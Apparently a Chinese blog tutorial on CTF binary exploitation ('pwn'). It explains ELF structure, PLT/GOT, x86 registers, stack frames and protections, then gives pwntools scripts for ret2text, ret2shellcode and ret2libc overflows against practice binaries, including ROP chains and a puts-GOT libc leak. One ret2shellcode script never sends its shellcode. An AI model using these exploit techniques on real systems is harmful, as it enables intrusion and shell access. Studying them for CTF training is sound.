pwn右键入门
Zach0ry Lv4

PWN入门

CTF(Capture The Flag,夺旗赛)中的 “pwn”(发音类似 “pone”)是 “own” 这个词的一种黑客俚语写法,通常表示**“完全控制”、“取得支配权”“击败”**

起源于早期的网络游尤其是《魔兽争霸》,当时人们打字太快或拼写错误,将 “own” 打成了 “pwn”。这个错误很快被黑客和游戏社区接受,并演变成一个表示“彻底击败”或“占有”的流行词

当你在CTF赛事中“pwn”了一个程序或服务,意思就是你成功利用了它的漏洞(例如缓冲区溢出、格式化字符串漏洞等),取得了对该程序的完全控制权,通常是获得了远程Shell或执行了任意代码,最终目的是读取服务器上的“flag”(旗帜)

终端(Terminal):一种用于与计算机交互的输入输出界面,负责接收用户输入并显示程序输出。

Shell:一种命令行解释器,用于解析用户输入的命令并与操作系统内核交互执行。“拿到 shell”通常就是拿到与远端主机的命令行交互权限,相当于在那台机器上打开了一个终端(可以输入命令、看输出、读写文件)

考察方向

1)逆向程序的能力。

2)挖掘漏洞的能力。(深度)

3)编写利用链的能力

前置知识

gcc main.c

1
2
3
4
5
#include <stdio.h>
int main()
{
puts("hello world");
}

:ghost:源码到可执行文件

预处理 → 编译 → 汇编 → 链接 → 运行时加载/重定位

image

image

开发链路分为:source.c →(预处理)→ .i →(编译)→ .s →(汇编)→ .o(ET_REL)→(链接)→ app(ET_EXEC 或 ET_DYN)→(运行时)→ 动态链接器把 .so 映射并做重定位。

1) 源码 — main.c

是什么:人类可读的 C 代码;包含函数、变量、控制流、头文件等。
包含#include#define、函数/结构体/注释、字符串常量。

2) 预处理输出 — main.i (预处理器结果)

是什么:预处理器将 #include 展开并替换宏,生成纯 C 文本(含 # line 指示)。
包含:展开的头文件内容、宏展开结果、行号指令
生成

1
gcc -E main.c -o main.i

image

3)汇编源 — main.s (编译→生成汇编文本)

是什么:编译器把 C 转成可读汇编指令的文本输出。
如何生成

1
2
gcc -S -O0 -g main.c -o main.s
gcc -S -O0 -g foo.c -o foo.s

-O0 -g 保持结构清晰且带调试信息;-S 生成 .s)

image

包含 / 注意点

  • 函数的汇编实现(push rbp; mov rbp, rsp 等)
  • 参数/局部变量如何分配(栈 vs 寄存器)
  • 编译器生成的 helper calls(memcpy__stack_chk_fail 等)

4) 目标文件 — source.o (汇编 ->机器码,ELF 可重定位,ET_REL)

是什么:汇编后的机器码和节信息

机器码是 CPU 能直接执行的二进制指令序列

  • 把每条汇编指令编码成机器码字节
  • 划分节(Sections):
    • .text 代码
    • .rodata 只读常量
    • .data 已初始化全局/静态变量
    • .bss 未初始化全局/静态变量(只记大小)
  • 生成符号表(Symbol Table)
  • 生成重定位表(Relocation Entries)
    • 记录“哪些地址暂时未知,将来链接时修补”

符号表
负责“名字级别的信息”——谁被定义、谁被引用、定义在哪个节的什么偏移。

重定位表
负责“字节级别的补丁”——机器码/数据里哪几个具体字节要用某个符号的最终地址去替换。

1
2
3
4
5
6
7
8
extern void foo();

int g = 123;

int main() {
foo();
return g;
}

编译到 .o 后,符号表大概会长这样(概念化):

符号名 状态 偏移
main 已定义 .text 0x0
g 已定义 .data 0x0
foo 未定义(UND)

解释:

  • maing 在本文件“有定义”,所以知道它们在本 .o 的哪个节、节内偏移多少。
  • foo 在本文件只是 extern 声明,没有定义,所以标记为 UND
    意思是:“我需要 foo,但我这里没有,你链接时给我找一个。”
需要修的地方 在哪个节 偏移 关联符号 重定位类型
call puts 的地址字段 .text 0x15 puts R_X86_64_PC32
mov eax, g 的地址字段 .text 0x30 g R_X86_64_32

关键点:

  • “需要修的地方”是一个具体字节位置(比如 .text+0x15
  • “关联符号”告诉链接器该用谁的地址来修

只包含了的自定义的内容

1
gcc -c main.c -o main.o

image

包含 / 注意点

  • .text, .data, .rodata, .bss
  • 符号表:定义了该文件出口的函数/变量(GLOBAL)以及未定义的引用(UNDEF)
  • 重定位表:表示此文件有哪些地址需要链接器在链接时修正(例如对 printf 的引用)

pwn / 调试的“钥匙”

  • 看哪些符号是未定义(意味着链接时会从库或其它 .o 获取)

  • 如果你想做更底层的二次打包或修改(比如注入符号、改变节),.o 是合适的阶段

  • 重定位条目说明链接器需要做哪些修正(理解 PLT/GOT 的由来)

5) 可执行文件 — app (ET_EXEC 或 ET_DYN)

是什么:链接器把 .o 和库合并,分配最终虚拟地址,产出可执行 ELF。若启用 PIE,则类型为 ET_DYN。
如何生成

1
2
3
4
gcc main.o foo.o -o app
# 或(显式 PIE/非-PIE)
gcc -fPIE -pie main.o foo.o -o app_pie
gcc -no-pie main.o foo.o -o app_nopie

查看命令(必查)

1
2
3
4
5
6
7
8
9
10
11
file app
readelf -h app # ELF Type (EXEC / DYN)
readelf -l app # Program headers (PT_LOAD — how OS will map segments)
readelf -S app # Section headers (.text, .got, .plt ...)
readelf -d app # Dynamic tags: DT_NEEDED, DT_SONAME, DT_JMPREL, DT_PLTGOT...
readelf -s app # Symbols
readelf -r app # Relocations
objdump -d app # 反汇编
objdump -R app # 运行时重定位 (GOT/PLT entries)
strings app | grep -E 'sh|flag|system|printf'
checksec --file=app # NX, PIE, Canary, RELRO (若有 checksec)

程序调用 puts() 这样的函数时,函数实现其实在 libc 里,而不是你自己的 ELF 文件中。
编译阶段你只知道“我需要 puts 这个符号”,运行阶段才能确定“puts 真正在哪个地址”。

got表是libc库中该函数的真实位置

plt表是放置的一段代码,通过调用got表知道 跳转到哪里

角色 存放位置 作用 是否可写
PLT .text 函数跳板(代码),调用 GOT 不可写
GOT .got/.got.plt 保存外部函数实际地址 可写(部分只读)

image

最左侧是高层语言的表示,语义是“把两个整数相加返回”。编译器需要把这种高层语义翻译成一系列 CPU 指令来实现同样的功能(编译)

中间就是进行的实际操作,通过对一系列寄存器的操作来实现代码

最右侧是机器码,也就是机器实际可以识别的内容,每条汇编指令都有对应的机器码字节。

ida查看

Options>General>调节之后就可以看到机器码

1
2
# 普通编译(带调试符号,关闭优化)
gcc -g -O0 -o 1 gcc.c

-g
包含调试符号(符号表、源代码行号等)到输出文件。
→ 作用:可以在 gdb 里看到函数名、变量名和源代码行,便于调试

-o <file>
指定输出文件名(默认 a.out)。
→ 作用:把编译/链接结果写到你想要的路径。

-O0, -O2-O* 系列)
控制优化等级:-O0 无优化(编译速度快、符号保留好),-O2 开启较多优化(更快但会重排/内联/消除栈帧)。
→ 作用:它是编译器的优化级别,目的是让程序跑得更快、更小、用更少资源

1
2
3
4
5
6
控制保护
# 生成不带栈保护、不启用 PIE、不启用 RELRO 的“脆弱”二进制(用于练习)
gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o 2 gcc.c

# 启用 PIE 和全 RELRO(更安全的编译)
gcc -g -O2 -fPIE -pie -Wl,-z,relro,-z,now -o 3 gcc.c

cat 1

cat 1 把一个 可执行文件(ELF 二进制) 的原始字节直接吐到终端里 —— 终端不是文本编辑器,而是会把那些“原始字节”当作控制字符去解释(换行、响铃、光标移动、甚至改变显示属性),所以你看到一堆乱码、控制符拼凑的怪样子。简单来说:

  • 可执行文件不是纯文本,里面有二进制机器码、ELF 头、节/段表、符号表、字符串常量、调试信息等 —— 都不是人类可读的纯文字。
  • cat 只是把字节原封不动输出到终端,终端把不可见字节当控制序列执行,结果就是“乱码 + 显示混乱”。

elf可执行文件

该板块参考了楚权的世界师傅的文章

可执行文件就是一段被组织成特定格式的二进制数据,操作系统加载它到内存后由 CPU 执行。

不同 OS/架构用不同格式:Windows 用 PE,macOS 用 Mach-O,Linux/Unix 主流用 ELF

image

ELF Header

位置:文件开头(固定大小)。

作用:基本元信息 —— ELF 魔数(0x7f’ELF)、类(32/64)、字节序、ELF 类型(ET_REL/ET_EXEC/ET_DYN)、机器架构、入口点地址 e_entry、程序头偏移 e_phoff、节头偏移 e_shoff

Type 决定这是 .o(ET_REL)、可执行(ET_EXEC)还是共享对象/PIE(ET_DYN);e_entry 是程序入口(运行时从这里开始)。

readelf -h 2

./extract debs/libc6_2.23-0ubuntu11_amd64.deb libs/2.23-0ubuntu11_amd64
./extract debs/libc6-dbg_2.23-0ubuntu11_amd64.deb libs/2.23-0ubuntu11_amd64/.debug

Program Header Table(程序头表,Segments)

ELF 节头表是一个节头数组。每一个节头都描述了其所对应的节的信息,如节名、节大小、在文件中的偏移、读写权限等。编译器、链接器、装载器都是通过节头表来定位和访问各个节的属性的。

readelf -l 2

PT_LOAD:可加载段(会映射到内存,带权限 PF_R/W/X)

PT_INTERP:指定动态链接器路径(有的话就是动态可执行)

PT_DYNAMIC:动态段信息(DT_NEEDED、DT_RPATH、DT_RELA 等)

PT_NOTE、PT_PHDR、PT_GNU_STACK(表示栈是否可执行)等

Sections(节 / Sections)

常见节名:

  • .text:代码(只读/可执行)
  • .rodata:只读数据(字符串常量)
  • .data:已初始化的可写数据
  • .bss:未初始化数据(不占文件空间,运行时占内存)
  • .symtab / .strtab:符号表与字符串表(链接时用)
  • .dynsym / .dynstr:动态符号表(动态链接时用)
  • .got / .got.plt:全局偏移表(数据,运行时可写)
  • .plt:过程链接表(代码段,跳板)
  • .rela/.rel:重定位条目(relocations)
  • .init_array / .fini_array:构造/析构函数列表

.text

  • 放什么:程序的机器码(函数指令)。
  • 特点:只读(r–)+ 可执行(–x)。
  • 例子main, foo 这些函数编译出的指令都在这。

.rodata

  • 放什么:只读常量数据。
  • 特点:只读(r–),不可写。
  • 例子
    • 字符串常量:"hello world"
    • const 修饰且不需要可写的全局常量
    • 只读查找表、跳转表(有时也会在这里)

.data

  • 放什么已初始化的全局变量 / 静态变量。

  • 特点:可读可写(rw-),文件里保存初值。

  • 例子

    1
    2
    int g = 5;
    static int s = 2;

    初值 52 都会在 .data 里。


.bss

  • 放什么未初始化(或初始化为 0)的全局变量 / 静态变量。

  • 特点

    • 文件里不存具体内容,只记大小
    • 运行时会分配内存并清 0
  • 例子

    1
    2
    3
    int g;
    static int s;
    int z = 0; // 很多编译器也会放 bss

.symtab / .strtab

  • 放什么
    • .symtab静态符号表
      记录本目标文件/可执行文件里所有符号(函数、全局变量、段符号等)的信息。
    • .strtab:符号名字的字符串池(符号表里只存“指向这里的偏移”)。
  • 什么时候用:主要给链接器、调试器用。
  • 发布版程序常见情况strip.symtab/.strtab 可能被删掉(因为运行时不需要)。

.dynsym / .dynstr

  • 放什么
    • .dynsym动态符号表
      只保存动态链接需要的那部分符号(比 .symtab 少很多)。
    • .dynstr:动态符号名字符串池。
  • 什么时候用运行时动态链接器解析共享库符号时用。
  • 例子:你程序调用 putsputs 会出现在 .dynsym

.got / .got.plt

  • 放什么全局偏移表(GOT),本质是一张“指针数组”。
    • .got:给全局变量地址、函数地址等做间接引用。
    • .got.plt:更偏向配合 .plt延迟绑定(lazy binding)的函数地址槽。
  • 特点
    • 在文件里有初始值(通常指向解析代码或 0)
    • 运行时可写,动态链接器会把真实地址写入这里
  • 例子puts@GOT 这个槽,运行时会被填成 libc 中 puts 的真实地址。

.plt

  • 放什么过程链接表(PLT),是一段“跳板代码”。
  • 作用:当你 call puts 时:
    1. 先跳到 puts@plt
    2. puts@plt.got.plt 查真实地址
    3. 若没解析过就触发动态解析,解析后再跳
  • 特点:位于代码区,可执行,但通常不含真实函数逻辑。
  • 直观理解.plt 是“中转站”;.got.plt 是“电话簿”。

.rela.* / .rel.*

  • 放什么重定位条目(relocation entries)
  • 作用:告诉链接器/动态链接器:
    • 要修补的位置在哪(某段某偏移)
    • 用哪个符号修补
    • 修补类型(填绝对地址?相对偏移?加上附加常量?)
  • .rel vs .rela
    • .rel:不显式保存 addend(附加常量),addend 藏在原位置里
    • .rela:显式保存 addend(x86-64 常用 .rela
  • 什么时候用
    • 静态链接:链接器消耗大部分 .rela.text/.rela.data
    • 动态链接:.rela.plt.rela.dyn 留给运行时修补 GOT/PLT

.init_array / .fini_array

  • 放什么
    • .init_array:一串函数指针,程序启动时调用(构造)。
    • .fini_array:一串函数指针,程序退出时调用(析构)。
  • 来源
    • C++ 全局对象构造/析构
    • __attribute__((constructor)) / __attribute__((destructor))
  • 执行顺序
    • 入口 _start → libc 初始化 → 依次调用 .init_arraymain
    • exit → 依次调用 .fini_array

小结(把它们按用途分组)

  • 程序内容
    • .text 代码
    • .rodata 只读常量
    • .data/.bss 可写全局数据
  • 链接/调试
    • .symtab/.strtab
  • 动态链接运行时
    • .dynsym/.dynstr
    • .plt/.got/.got.plt
    • .rela/.rel
  • 程序生命周期钩子
    • .init_array/.fini_array

:ghost:汇编

寄存器和栈是 CPU 执行许多操作时最直接、最关键的工具

寄存器是CPU内部的小型高速存储单元,用于临时存储指令执行时的数据、地址、标志等。

要求不高

image

64

  • RIP — 指令指针(程序当前执行到哪儿)。
  • RSP — 栈指针(栈顶地址)。
  • RBP — 帧指针(传统上指向栈帧基底)。
  • RAX — 返回值 & syscall 编号(syscall 用)。
  • RDI, RSI, RDX, RCX, R8, R9函数/系统调用参数(顺序很重要:
  • 函数调用时参数顺序为 RDI, RSI, RDX, RCX, R8, R9;(前6个参数放在寄存器中,之后放在栈上)
  • syscall 参数顺序为 RDI, RSI, RDX, R10, R8, R9)。
  • RBX, R12-R15 — callee-saved(被调用者需保存)。
  • RAX, R10, R11, RDI, RSI, RDX, RCX, R8, R9 — caller-saved(调用者必须自己处理其值如果需要保留)。

记住两条最重要的习语:

  • “函数参数在 RDI, RSI, RDX, RCX, R8, R9。”
  • “syscall 号在 RAX,返回值也在 RAX
场景 参数顺序 被覆盖寄存器
函数调用 RDI → RSI → RDX → RCX → R8 → R9 无自动覆盖
系统调用 RDI → RSI → RDX → R10 → R8 → R9 RCX 和 R11 被 syscall 自动保存

32

参数放在栈上

EIP — 指令指针(下一条要执行的地址,等同于 x86_64 的 RIP)。

ESP — 栈指针(当前栈顶,等同于 RSP)。

EBP — 帧指针(传统上指向栈帧基底,相当于 RBP)。

EAX — 返回值 & syscall 编号(32-bit 下 syscall 号放 EAX,返回值也放 EAX)。

EDI, ESI, EDX, ECX, EBX — 通用寄存器(在不同约定下分配参数或保存临时值)。

EBX, ESI, EDI, EBP — callee-saved(被调用者应保持这些寄存器的值)。

EAX, ECX, EDX — caller-saved(调用者在需要保留时须先保存)。

场景 参数传递方式 参数顺序(第1→第6) syscall/syscall号 & 返回
函数调用(常见 C ABI:cdecl/stdcall) 压栈(从右到左 push) 在栈上,调用时布局为 argN ... arg2 arg1(传入时最后一个先 push,函数通过 [esp + offset] 读取) 返回值在 EAX
系统调用(int 0x80) 寄存器(直接放寄存器) EBXECXEDXESIEDIEBP(对应第1→第6) syscall 号放 EAX,返回值在 EAX

一、数据操作类(最基础的)

image

指令 含义 pwn 中常见用途
mov dst, src 拷贝数据(寄存器/内存/立即数) 改变量、保存返回地址、传参
lea dst, [expr] 计算地址放入寄存器 拿变量地址、计算偏移
push src 把值压栈 (rsp -= 8) 函数调用时保存现场 / 手动构造栈
pop dst 从栈顶弹出值 (rsp += 8) 函数返回 / ROP gadget 常用
xchg rax, rbx 交换寄存器 常见 gadget:xchg eax, esp (pivot stack)
movzx / movsx 零/符号扩展 处理 byte → int 之类的类型扩展

[...] 表示 “把方括号里算出的值当作内存地址去访问(读或写)

lea 用来 计算地址表达式的值,并把这个“地址值”放进寄存器。它不会访问内存

1
2
3
4
5
6
7
内存[0x1010] = 0xDEADBEEF
rbx = 0x1000
rcx = 2
那么
mov rax, [rbx] >去地址 0x1000 访问内存,把里面的值 0xDEADBEEF 读出来。即:rax = 0xDEADBEEF
lea rax, [rbx + rcx*4 + 8] > rax = 0x1000 + 2*4 + 8 = 0x1010
CPU 并不会去访问内存地址 0x1010 的内容,只是把 这个地址数值 存进 rax。

⚙️ 二、算术运算类

指令 含义 pwn 实战中的常见点
add dst, src 相加 指针运算、偏移调整
sub dst, src 相减 栈空间分配 (sub rsp, 0x20)
inc reg / dec reg 加1/减1 常见循环 / 指针偏移
imul / mul 乘法(有符号/无符号) 不太常见,出现在运算逻辑
div / idiv 除法(注意用 rdx:rax) 算数逻辑题、算法题中
neg reg 取负数 算术 gadget 时有用

💡 三、逻辑 / 位操作类(pwn 中非常常见)

指令 含义 pwn 用法
xor reg, reg 异或(常用于清零) xor rax, raxrax = 0(经典 gadget)
and reg, imm 位与(掩码) 清除特定位
or reg, imm 位或 设置特定位
not reg 取反 混淆或 gadget 构造
shl, shr, sar 移位(逻辑/算术) 位运算、乘除 2 的幂次
指令 操作 结果 常见用途
xor 按位异或 不同为 1 清零、加密、gadget
and 按位与 都为 1 才为 1 清除位(掩码)
or 按位或 只要有 1 就为 1 设置位
not 按位取反 0→1, 1→0 取补、混淆
shl 左移 ×2ⁿ 乘法、移位
shr 逻辑右移 ÷2ⁿ (无符号) 除法、位处理
sar 算术右移 ÷2ⁿ (保符号) 有符号除法

🔍 四、比较 / 分支控制类

指令 含义 pwn 场景
cmp a, b 计算 a - b,只影响标志位,不保存结果 条件跳转判断
test a, b 按位与,只设标志位 检查为零或特定位
je / jz 如果相等(ZF=1)跳转 if (a == b)
jne / jnz 不相等跳转 if (a != b)
ja / jb / jg / jl 无符号 / 有符号大于小于跳转 if (a < b)
jmp label 无条件跳转 跳转、跳表、shellcode
call func 调用函数(压返回地址) 函数调用、溢出时覆盖返回地址
ret 从函数返回(弹出返回地址跳转) 栈溢出、ROP gadget 的关键

🧱 五、栈与函数调用(pwn 最常分析的区域)

指令 功能 用处
push rbp / mov rbp, rsp 建立栈帧 函数入口(prologue)
leave 等价于 mov rsp, rbp; pop rbp 函数退出(epilogue)
ret 从栈顶取返回地址跳转 溢出劫持控制流的关键点
pop rdi / pop rsi / pop rdx / pop rax 从栈加载参数 ROP 链构造必备
syscall 执行系统调用 直接调用内核(shellcode)
int 0x80 旧版 32-bit syscall 方式 仅用于 32 位靶机

🧨 六、系统调用类(shellcode / ROP 核心)

指令 功能 备注
syscall 触发系统调用(64 位) 根据 rax 的 syscall 号执行系统调用
int 0x80 触发系统调用(32 位) 较老架构使用
hlt 挂起 CPU(少见) 调试或陷阱
nop 空操作 对齐、NOP-sled(shellcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 编译选项会关掉优化和内联,这里再显式禁止内联
__attribute__((noinline))
int add(int a, int b) {
int c = a + b; // 这里下断点最适合看局部变量和栈
return c;
}

__attribute__((noinline))
int main(void) {
int x = 2;
int y = 3;
int z = add(x, y); // 观察:32位下参数会以 push 压栈传给 add
return z; // 使程序退出码 = 5,便于验证
}

gcc -m32 -g -O0 -fno-omit-frame-pointer -fno-inline -no-pie -fno-pie add.c -o add

:ghost:栈结构

先说“栈”和“堆”是啥

  • 栈(stack):放函数调用相关的临时东西
    例如:局部变量、返回地址、保存的寄存器等。
    特点:自动管理,函数进来分配,函数退出释放。
  • 堆(heap):放你运行时“手动申请”的内存
    例如:malloc/new 出来的对象。
    特点:手动/库管理,你申请多少就给多少,用完要释放(free/delete)。

image

入栈

add(2,3)

(1)压入参数

根据调用约定,main函数作为调用者,首先需要将add函数的两个参数a,b压入栈中。

注意压入参数的顺序,首先压入b,接着压入a,也就是说,压入参数的顺序是从右到左

(2)返回地址压栈

call target 的行为等价于两步:

  1. push rip_next(把下一条指令的地址压到栈上)
  2. jmp target(把 RIP 跳到被调用函数)

返回地址压栈。main函数为了让add函数调用后正常返回,需要将当前指令(call指令)的下一条指令的地址压入栈中

call指令包含两个步骤:main函数的下一条指令压栈;控制eip为func函数的第一条语句,eip存储着CPU将要执行的指令的地址

(3)add函数运行

1
add`函数需要自己的内部运作空间。可以使用以下指令序列开辟空间:`push ebp` `mov ebp,esp` `sub esp,28h

这个28h就是开辟的存储func函数的相关内存的空间

mov ebp,esp看似没有变化,但EBP 从“保存调用者基址”变为“当前函数的栈帧基址”。把当前栈顶指针(esp)的值复制到 ebp

(4)func函数的局部变量和参数

func函数有自己内部的运作空间,即func_ebp到func_esp

局部变量在编译之后会被表示为与ebp 不同的距离

image

v2被表示为ebp -18h,v3被表示为ebp -10h。

注意,这里的v2, v3和v4都是局部变量。参数的读取方式例子:第一个参数是ebp+8,第二个参数是ebp+12

因为调用约定,肯定有main_next和main_ebp在ebp的上方,故偏移是固定的,在返回地址main_next上面

然后,func函数返回。两个步骤:清除栈空间,返回到之前执行的指令(main_next)处。

出栈

这里add函数进行了简化

(5)add函数返回步骤1:清除栈空间

每个函数清除栈空间时可以使用一条公用指令leave。

leave包含两个步骤:

mov esp,ebp将栈顶设置为栈基,即将func_ebp到func_esp的内容全部出栈;

pop ebp 将main_ebp的内容重新弹回ebp,使main函数的栈基址得到恢复

(6)func函数返回步骤2:返回之前执行的指令(main_next)处

每个函数返回时可以使用一条公用指令ret。ret包含一个步骤:将栈顶弹出到eip寄存器(即下一条指令的位置),达到恢复main函数执行顺序的目的。

到这里,main函数的栈基址和下一条指令都得到了恢复,也就完成了整个add函数的调用。

实操

题目概述

在常规的CTF比赛中,通常会给一个预置漏洞elf文件,该二进制文件会同时在远程目标主机上运行,并绑定一个端口。

连接某个端口不会“魔法般地跑起文件”,而是:有一个程序事先在那台机器上运行并把那个端口“占着”(绑定/监听)——当你连上去,操作系统把这条连接交给那个程序,程序就开始跟你交互。

  • 服务器 = 餐厅
  • 端口 = 餐厅的门号(比如门 1337)
  • 监听程序 = 开门的服务员(一直站在门口)
  • 你连上端口 = 你走到门口按门铃(发起连接)
  • 结果:服务员听到有人来,就开始接待(把连接交给内部进程处理)

你看到的是“按门铃 → 有人来接待”,而不是“按门铃 → 门口才突然出现服务员”。

nc—try

环境配置

需要工具

IDA Pro

虚拟机:

pwntools
pwndbg
checksec
ROPgadget
one gadget
LibcSearcher
main arena offset

虚拟机

镜像文件

vmware配置

改变量主机名

image

1
2
3
4
5
6
7
8
改主机名
sudo hostnamectl set-hostname 主机名
sudo nano /etc/hosts
#找到127.0.1.1 原始名字 改为127.0.1.1 新名字
#按 Ctrl + O(保存)
#按 Enter(确认)
#按 Ctrl + X(退出)
exec bash
1
2
3
4
改用户名(推荐创建一个新用户)
sudo adduser yxhueimie
sudo usermod -aG sudo pop#给sudo权限
su - pop#切换用户

保护机制

image

Arch:amd64-64-little

amd64即x86_64(CPU架构)

64即字长为64,返回地址在栈中占 8字节,32位是4字节

little表示小端序,如果是big则表示大端序。以数字0x12345678为例,小端序存储的是\x78\x56\x34\x12,大端序存储的是\x12\x34\x56\x78

RELRO:Partial RELRO:

它是一种 ELF 链接时生成的安全机制,目的是防止 GOT(全局偏移表,Global Offset Table) 被修改。

简单说:

RELRO 把一部分关键的内存区域(特别是 GOT 表)在程序加载完重定位后改成只读,防止攻击者利用写入 GOT 来控制程序流。

段/表 正常作用 为什么能写 RELRO保护后的变化
.got.plt 存储动态链接函数的真实地址(lazy binding后) lazy binding 需要写入真实地址 NO RELRO 时可写,PARTIAL RELRO 也可写,FULL RELRO 时不可写
.init_array 程序启动时调用的函数数组 存函数指针 NO RELRO 时可写,PARTIAL/FULL 时不可写
.fini_array 程序退出时调用的函数数组 存函数指针 NO RELRO 时可写,PARTIAL/FULL 时不可写

Stack: Canary found

栈保护,一般是在rbp地址之前放置一个数字,在返回时进行校验,以防止栈溢出

NX:NX enabled:

如果开启了NX保护机制,那么w权限和x权限就是互斥的,即不存在既拥有写权限又拥有执行权限的段。这个保护机制是用来防止shellcode植入的。在gdb调试中,可以通过vmmap命令来查看每个段的权限。

PIE: PIE enabled

使程序可以被加载到任意内存地址运行

PIE → 程序的 .text.data 等段在每次运行时会被加载到不同的基址。

没有 PIE → 程序的代码段基址固定,比如永远是 0x400000

image

image

题型

ret2text(覆盖返回地址)

题目system(“/bin/sh”)

1
2
3
4
5
6
from pwn import *
#p=remote("node5.buuoj.cn",27287)
p=process("./pwn1")
pay=b"a"*(0xf+8)+p64(0x40118a)
p.send(pay)
p.interactive()

CPU / 函数调用 /远端进程都读取字节,不识别 Python 的整数类型。p64(0x400611) 产生 b'\x11\x06\x40\x00\x00\x00\x00\x00',这是 64 位小端表示,直接放到返回地址位置进栈后,CPU 按字节解释为地址。

题目system(“cat flag.txt”)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=process("./111")
#p=remote("node5.buuoj.cn",25017)

# p.recvuntil(b"0x")
# tar=int(p.recv(6),16)
# #recv(6) 是按字节数读 ASCII 文本
# #int 把接收到的 ASCII hex 字符串按十六进制文本解析成一个整数

tar=0x400611
pay=b"a"*(0x40+8)+p64(tar)
p.sendlineafter(b">",pay)
p.interactive()

clibc使用

原题(111)在系统上运行时用的是系统的 glibc(/lib/x86_64-linux-gnu/libc.so.6),而你把 bjdctf_2020_babystack 换成了 带有特定 glibc 2.23 的副本(放在 /usr/lib/freelibs/.../libc.so.6),这会改变 libc 中函数/符号/内存布局(比如 system、__libc_start_main、one_gadget、ROP gadget 的偏移等)。很多 pwntools/exp 脚本依赖 精确的 libc 偏移,所以当本地 libc 与目标 libc 版本不一致时(偏移不同),exploit 会失败或 crash。把本地运行环境改成目标用的 libc(2.23)后,地址/偏移匹配了,脚本就能正常运行/成功利用了。

libc-2.23.so

1
2
3
4
5
6
7
8
9
from pwn import*
p = process('./333')
back_door=0x4006e6
p.recvuntil(b'your name:\n')
p.sendline(str(0x40))
p.recvuntil(b'u name?\n')
payload=b'a'*0x18+p64(back_door)
p.sendline(payload)
p.interactive()

ret2shellcode

链接

  1. mmap((void *)0x30303000, 0x1000u, 7, 50, -1, 0);
    • 在地址 0x30303000 处申请一页(0x1000 = 4096 字节)的内存映射。
    • 第三个参数 7protPROT_READ | PROT_WRITE | PROT_EXEC(1|2|4 = 7),说明该页可读、可写、可执行(RWX)
    • 第四个参数 50(十进制)即 0x32(十六进制),通常分解为 mmap flags 的位组合:0x02 (MAP_PRIVATE) + 0x10 (MAP_FIXED) + 0x20 (MAP_ANONYMOUS) = 0x32 (50)
      • MAP_ANONYMOUS:不从文件映射,内存初始化为 0。
      • MAP_FIXED:强制在给定地址映射(如果地址不可用会失败或替换原有映射)。
      • MAP_PRIVATE:写时复制(对我们的目的影响不大)。
    • 总结:在确切地址 0x30303000 建立 匿名、私有、RWX、固定地址 的内存页。
  2. read(0, (void *)0x30303000, 0x64u);
    • 从文件描述符 0(stdin)读 0x64 = 100 字节,写入刚映射的内存 0x30303000
    • 也就是说程序允许通过标准输入把最多 100 字节的数据放到该可执行页里。
  3. MEMORY[0x30303000]();
    • 0x30303000 视为函数指针并调用它 —— 等同于 ((void(*)())0x30303000)();
    • 也就是:把刚读进来的 100 字节当作机器码来执行。
    • 这是直接代码执行(code injection/execution):攻击者可以把 shellcode、或第一阶段 shellcode 写入并直接执行。
1
2
3
4
5
6
7
8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p= process('./shellcode')

shellcode = asm(shellcraft.sh())
p.sendline()

p.interactive()

ret2libc1

32位

1
2
3
4
5
6
7
8
9
from pwn import *
#p=process("./level2")
p=remote("node5.buuoj.cn",28122)
system=0x08048320
bin=0x0804A024
ret=0x080484B2
pay=b"a"*(0x88+4)+p32(system)+p32(ret)+p32(bin)
p.sendlineafter(b"Input:",pay)
p.interactive()

64位

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=process("./level0")
p.recvuntil(b"Hello, World")
# gdb.attach(p,"b *0x4005C4 ")
system=0x400460
bin=0x400684
ret=0x4005C5
rdi=0X400663
pay=b"a"*0x88+p64(rdi)+p64(bin)+p64(ret)+p64(system)
p.sendline(pay)
p.interactive()

ret2libc2

1

链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = process('./ret2libc2')
gdb.attach(p,"b*0x080486C4")
gets= 0x08048460
system= 0x08048490
pop_ebx = 0x0804843d
bss= 0x804a200
payload = b'A'*112
payload += p32(gets) # EIP <- gets
payload += p32(pop_ebx) # gets 返回后跳到 pop_ebx
payload += p32(bss) # gets(buf2)
payload += p32(system) # pop_ebx ret 后跳 system
payload += p32(0xdeadbeef) # system 返回地址
payload += p32(bss) # system 参数

p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

pop_ebx 在这类 exploit 里主要作用不是把值放到 ebx 里去给后面的 system 用(system 不看 ebx),而是通过 pop ebx; ret 这个 gadget 把栈向前推进一个 dword,从而把栈上的下一项变成 ret 会跳转到的地址(也就是 system

ret2libc3

64位的是要16字节对齐的

64位菜单

  • gets(s):从标准输入读字符,直到遇到换行或 EOF,然后把换行替换成 '\0' 并写入缓冲区。不会检查缓冲区长度(危险!)。
  • strlen(s):从 s 开始逐字节向后找,直到遇到第一个 '\0',返回其前面的长度(size_t)。
  • puts(s):把从 s 开始到第一个 '\0' 的字符串写到 stdout,然后自动输出一个换行(\n)。

因此,三者都以 '\0' 为结束条件(C 风格字符串),它们会把或依赖 '\0' 来确定字符串结尾。

用libc文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
#p=remote('node5.buuoj.cn',27086)
p=process('./222')
elf=ELF('./222')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'
#gdb.attach(p,"b*0x400AEE")
main=0x400b28
rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload=b'\x00'*0x58
payload+=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)


p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(b"puts_addr:" + hex(puts_addr).encode())

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym["system"]
binsh = libc_base +next(libc.search(b'/bin/sh'))
p.sendlineafter('choice!\n','1')

payload=b'\x00'*0x58+ p64(ret) + p64(rdi) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n',payload)
p.interactive()

用Libcsearcher

1
2
3
4
5
6
7
8
9
10
11
